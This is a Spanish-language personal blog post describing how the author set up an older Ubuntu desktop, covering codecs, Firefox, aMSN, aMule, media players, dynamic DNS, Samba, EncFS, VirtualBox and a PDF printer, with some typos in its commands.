Codecs multimedia

Aunque se instalan solitos cuando hace falta (no siempre), no viene de mas instalarlos previamente.

En primera instancia tenemos la pagina siguiente que nos guiará en la instalación de estos.

http://www.guia-ubuntu.org/index.php?title=instalar_codecs_multimedia

y si no tienes muchas ganas de leer y quieres empezar ya ejecuta la siguiente instrucción.

sudo apt-get install gstreamer0.10-plugins-ugly gstreamer0.10-plugins-ugly-multiverse gstreamer0.10-plugins-bad gstreamer0.10-plugins-bad-multiverse gstreamer0.10-ffmpeg gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-plugins-ugly gstreamer0.10-ffmpeg gstreamer0.10-gl gstreamer0.10-pitfdll libxine-main1 libxine-extracodecs libquicktime0 libdvdread3 flashplugin-nonfree totem-gstreamer-firefox-plugin

firefox

Abrimos el navegador Apliaciones->Internet->Navegador web firefox

Entramos en Editar -> preferencias

En Principal:

    Pagina de inicio: http://www.ubuntu-es.org

    Guardar archivos como: /media/sdb6/Downloads/FireFox

En Pestañas:

    marcar en una nueva pestaña.

    y marcar los 4 checkbox que hay debajo.

En Seguridad:

    marcar Usar una contraseña maestra

En avanzado:

    Buscar texto mientras se escribe

y cerramos.

Ahora entramos en el menu herramientas -> Complementos

    pulsamos en temas y despues en Obtener temas

Se cargara una pagina donde podremos tunear nuestro firefox, yo are lo siguiente.

como tema cojo el Vista-aero ver. 2.0.0.11 y lo instalo(clic sobre licencia y clic en instalar) cuando termine la descarga pulsaremos en reiniciar firefox.

volveremos a complementos, temas y pulsaremos sobre el tema recién instalado marcando la opcion usar tema. Se aplicara cuando reiniciemos firefox.

Ahora en esa misma pagina, nos vamos a complementos y instalamos los que más nos gusten. Yo he instalado

    Video DownloadHelper (para los vidos de youtube)

    Macros For Firefox

Ha quedado chulo he!!.

amsn

Bueno, hay unos cuantos más, incluso mejores (pidgin que ya viene instalado por defecto), pero este esta bastante bien, y es el mas parecido al msn de windows.

sudo aptitude install amsn

En preferencias podremos adaptar el programa a nuestro gusto, cosa que no explicare ya que se haría bastante largo. Pero si que hay algo que tenemos que cambiar.

Entramos preferencias y en pestaña Otras, en el apartado de Aplicaciones introduciremos:

    Navegador: firefox $url

    Admi. Abrir Arvhivo: nautilus $location

    Comando abrir arYhivo: nautilus $location

Ahora instalaremos la aplicación play

sudo aptitude install sox

En cuenta, elegir tema y picando sobre consigue mas skins, podemos tunear nuestro amsn.

yo he bajado aMSN_Futurosoft, AQUA, SimpleUbuntu i Emerald(el mejor), para instalarlos tienes que descomprimir los archivos dentro de la carpeta skins del programa.

amule

Instalamos el clasico amule.

sudo aptitude install amule

torrent

He probado muchos y no se que decir, con diferencia azuerus, pero se lleva toda la linea y tenia que apagarlo para poder navegar. Los que propongo no me han dado ningún problema.

sudo aptitude install bittornado bittornado-gui

mplayer

sudo aptitude install mplayer mplayer-skin mplayer-skins mplayer-skin-blue

vlc

otro editor de video

sudo aptitude install vlc vlc-nox

midi

sudo aptitude install timidity freepats

vim /etc/default/timidity

modificamos:

    TIM_ALSAEQ=true

    TIM_ALSASEQPARAMS=”iA -B2,8 -Os1l -s 44100”

traductor ingles

sudo aptitude install gtranslator

sudo aptitude install ktranslator

En este ultimo hay que instalar los diccionarios, utilizaremos los mismos que los del programa babylon. En principio son english.dic.gz y EngtoSpa.dic.gz, se descomprimen y se cambia el nombre de base a english.dic y de Spanish.dic a EngToSpa.dic.

Tunear ubuntu

Dejamos de nuevo las instalaciones y pasamos a tunear un pelin nuestro ubuntu.

Tenemos una muy completa pagina www.gonome-look.org en la que podremos elegir el tema que mas nos guste.

Antes de ponernos a tuenar nos vendrá bien tener las siguientes aplicaciones.

sudo atpitude install startupmanager gnome-splashscreenmanager gcursor

si necesitais algo de ayuda estas paginas os pueden servir.

  www.ubuntu-es.org/index.php?1=node/57233

  www.ubuntu-es.org/index.php?1=node/53115

ip dinamica

Primero de todo, yo me conecto a internet a través de un router y con una ip dinamica.

La idea será instalar un servidor, por lo tanto tendremos que hacer unos ajustes a la configuración de la red.

Quiero mi ip local fija, por lo tanto Sistema ->Administracion ->Red. Seleccionar la conexión que utilizamos y pulsar en propiedades.

desactivamos el modo itinerante

configuracion: ip estática

Direccion ip: 192.168.1.100

Mascara de sub-red: 255.255.255.0

puerta enlace: 192.168.1.1

Estos datos pueden cambiar dependiendo de la configuración de red de cada uno, en especial la dirección de la puerta de enlace, aunque funcionaran en el 90% de los casos.

Para solventar el tema de la ip dinamica, nos daremos de alta en www.dyndns.com, no explicare como, si alguien tiene dudas que lo pregunte.

Bien, ahora para que se actualice la dirección de manera automática instalaremos un programilla que nos resolvera el problema.

sudo aptitude install ddclient

abrimos el fichero de configuración /etc/ddclient.conf y añadimos la siguiente linea.

use=web, web=checkip.dyndns.org

ya tenemos nuestro dominio correctamente instalado, para los que no sepa de que va, esto es una forma de poder referirnos a nuestro servidor desde internet sin tener que estar pendiente de cuando nuestro proveedor nos cambia la ip.

samba

Para poder compartir la red con equipos windows, instalaremos el paquete samba.

sudo aptitude install samba smaba-client

La configuración la describire más adelante, en este momento y como abanzadilla, lo unico que haremos será definir el grupo de trabajo.

sudo vim /etc/samba/smb.confjo.

vim es un editor de texto una verdadera maravilla cuando se conoce, pero un verdadero infierno cuando no, así que si os sentis más comodos cambiar vim por gedit.

Buscaremos la clave workgroup = ... y en ella poner el grup de trabajo deseado.

Encriptador

Instalaremos EncFS, no es 100% eficaz, pero es más que suficiente para el 99% de los humanos.

Nos permite proteger con contraseña directorios enteros y trabajar con ellos en tiempo real.

sudo aptitude install encfs

Ahora tenemos que dar permiso a nuestro usuario para poder usarlo esto lo realizaremos mediante la siguiente instrucción, que introduce nuestro usuario en el grupo fuse.

sudo usermod -a -G fuse banyut

Donde banyut es el usuario. El uso del programa seria

    encfs dir_encript dir_trabajo

y para desmontarlo

    fusermount -u dir_trabajo

Esta aplicacion se puede usar mediante entorno gráfico, que tendremos que descargar de www.getdeb.net por cierto una gran pagina que hay que poner en favoritos.

El programa se puede descargar del siguiente link

  http://www.getdeb.net/download.php?release=1177&fpos=0

Una vez descargado lo instalamos, haciendo doble clic sobre el o escribiendo esto en consola.

sudo dpkg -install fichero.deb

Antes de probarlo, tienes que cerar la sesión y volver a entrar para que los permisos sean efectivos.

virtual box

Nos permite ejecutar windows o cualquier otro sistema operativo dentro de nuestro ubuntu. En mi caso me va ideal para poder imprimir ya que mi OKI C3300 no es compatible con linux.

sudo aptitude install virtualbox

Para poder usar este programa el usuario tiene que pertenecer al grupo vboxusers, para introducir el usuario al grupo haremos lo siguiente, esta vez de modo grafico.

    Sistema->Administracion->Usuariso y grupos

Pulsamos en el boton de gestionar grupos y buscamos en la lista el grupo vboxusers, le damos a propiedades y marcamos nuestro usuario.

Hay un tutorial estupendo que explica todos los pasos a seguir para la instalación y puesta en marcha, por lo tanto os doy el link de la pagina y yo no me extiendo más.

  http://www.ubuntu-es.org/index.php?q=node/62374

Impresora pdf

Aunque hay aplicaciones que se pueden exportar a pdf sus datos, en muchas ocasiones viene muy bien tener esta funcionalidad a traves de una impresora.

    Sistema->Administración->Impresoras

Pulsamos sobre Impresora nueva, y escogemos Print into PDF file, y pulsamos sobre el botón adelante.

    En marca, seleccionaremos Generic y de nuevo pulsaremos adelante.

    En la lista de modelos seleccionaremos PDF file generator y adelante.

Ponemos el nombre a nuestra impresora, por ejemplo IMPRESORA_PDF, una descripción y pulsamos sobre aplicar.

Cuando le damos a imprimir por defecto guardará los pdf en la carpeta PDF dentro de nuestro usuario. Esta carpeta por defecto no esta creada así que la crearemos.

mkdir ~/PDF

Si quisiéramos cambiar esta ruta, lo tendríamos que indicar en el siguiente archivo de configuración.

    /etc/cups/cups-pdf.conf

Bien, ahora haremos una prueba, por ejemplo, imprimiremos cualquier pagina con el firfox y miraremos si se ha creado el documento, digo miraremos por que con gutsy hay un problema reconocido, si este es tu caso, teclea en consola lo siguiente.

sudo aa-complain cuupsd

 

avant-window-navigator

Fantástico dock, bonito y elegante. Os podría indicar como instalarlo pero mataremos dos pájaros de un tiro. Os daré la dirección de una magnifica pagina que no puede faltar en favoritos y donde explican como instalar este programa.

http://tuxpepino.wordpress.com/2007/08/01/instalar-avant-window-navigator

Bueno, creo que ya esta bien por hoy, si tiene buena aceptación seguiré con el resto de aplicaciones y configuraciones que me he dejado, entre ellos, la configuracion del servidor web y ftp, configuración de samba. Conexiones via ssh, vpn, backups, etc.

---

La inteligencia me persigue pero, YO SOY MÁS RÁPIDO.

Sobre el blog

yo soy porque nosostros somos

Una de las cosas que eche de menos cuando empecé a usar linux, fue como ponerlo a punto, si bien la instalación me resultó sencilla, no fue así con su uso posterior y puesta a punto.

Tenia claro porque me había pasado a linux, por ideologia. Yo no puedo decir nada malo de windows, lo he acompañado prácticamente desde su nacimiento, instalando y probado todas sus versiones, y ninguna de ellas me ha dado más problemas de los que me da ubuntu.

He de reconocer que si solo trabajamos con consola no hay comparación, linux supera en todos los aspectos a windows, ahora en el momento en que entramos en modo gráfico, los dos fallan por igual.

Uno de los factores clave para que la peregrinación hacia ubuntu sea lo menos traumática posible, es mentalizarnos que si bien haremos lo mismo, no con los mismos programas. Aunque se pueda, no tiene sentido, quizás con alguna excepción, pasarme a linux y querer usar internet explorer, word, excel, etc.

Todos estos programas tienen sus homólogos en ubuntu, que podremos instalar en la mayoría de los casos de manera gratuita (yo solo busco soluciones libres y gratuitas) y sin perder ninguna funcionalidad. Este es el primer problema de cara al recién llegado, conocer que programas ha de usar en cada caso.

Ubuntu 9.04 - on desktops, netbooks, servers and in the cloud

Ver ficha del blog en OboLog

Login

Comentarios

Restaurar el audio en UBUNTU (Alejandro)
Al 50% del compilador me arroja el error de nuevo alguien sabe xq? o tendra alguna solucion??? ......(15 nov)
Importar en openoffice write y calc (R. A.)
Sigo sin resolver un problemita: ¿Puedo o no puedo importar una tabla en Write a Calc?  Microsoft ......(12 nov)
Restaurar el audio en UBUNTU (skater)
muchas gracias! me ayudaste aun no funcionan mis auriculares pero me funciona el sonido con mis ......(12 nov)
Traducción offline con STARDIC (mserra)
Muchísimas gracias, lo echaba de menos....(07 nov)
Python: Variables y asignaciones. (fernando)
Hola, ¿No hay un comando en el interprete de python que muestre las variables que se han definido a ......(06 nov)

Más comentados

Restaurar el audio en UBUNTU (24)
Hay veces que sin saber que es lo que hacemos exactamente, nos cargamos el audio del sistema, no se ...
Convertir Ubuntu Hardy en un Mac OSX Leopard (21)
Para transformar la versión Intrepid Ibex, tenes este otro link. He encontrado un Post en el que de ...
Convertir Ubuntu Intrepid en un Mac (Mac4Lin) (17)
En su día ya vimos un manual de como convertir Hardy en un mac, esta vez lo haremos para Intrepid, ...
Python: Las Listas (16)
Son la esencia de python, las podríamos definir como una secuencia ordenada de elementos encerrados ...
Copias de seguridad en UBUNTU (crontab, rsync, dd) (13)
Hoy abordaremos el tema de las copias de seguridad. El objetivo es montar dos tipos de copias, por ...

Suscripción

Suscríbete al Feed RSS XML

También puedes suscribirte directamente con alguno de los siguientes enlaces:

  • Suscríbete en Bloglines
  • Suscríbete en Google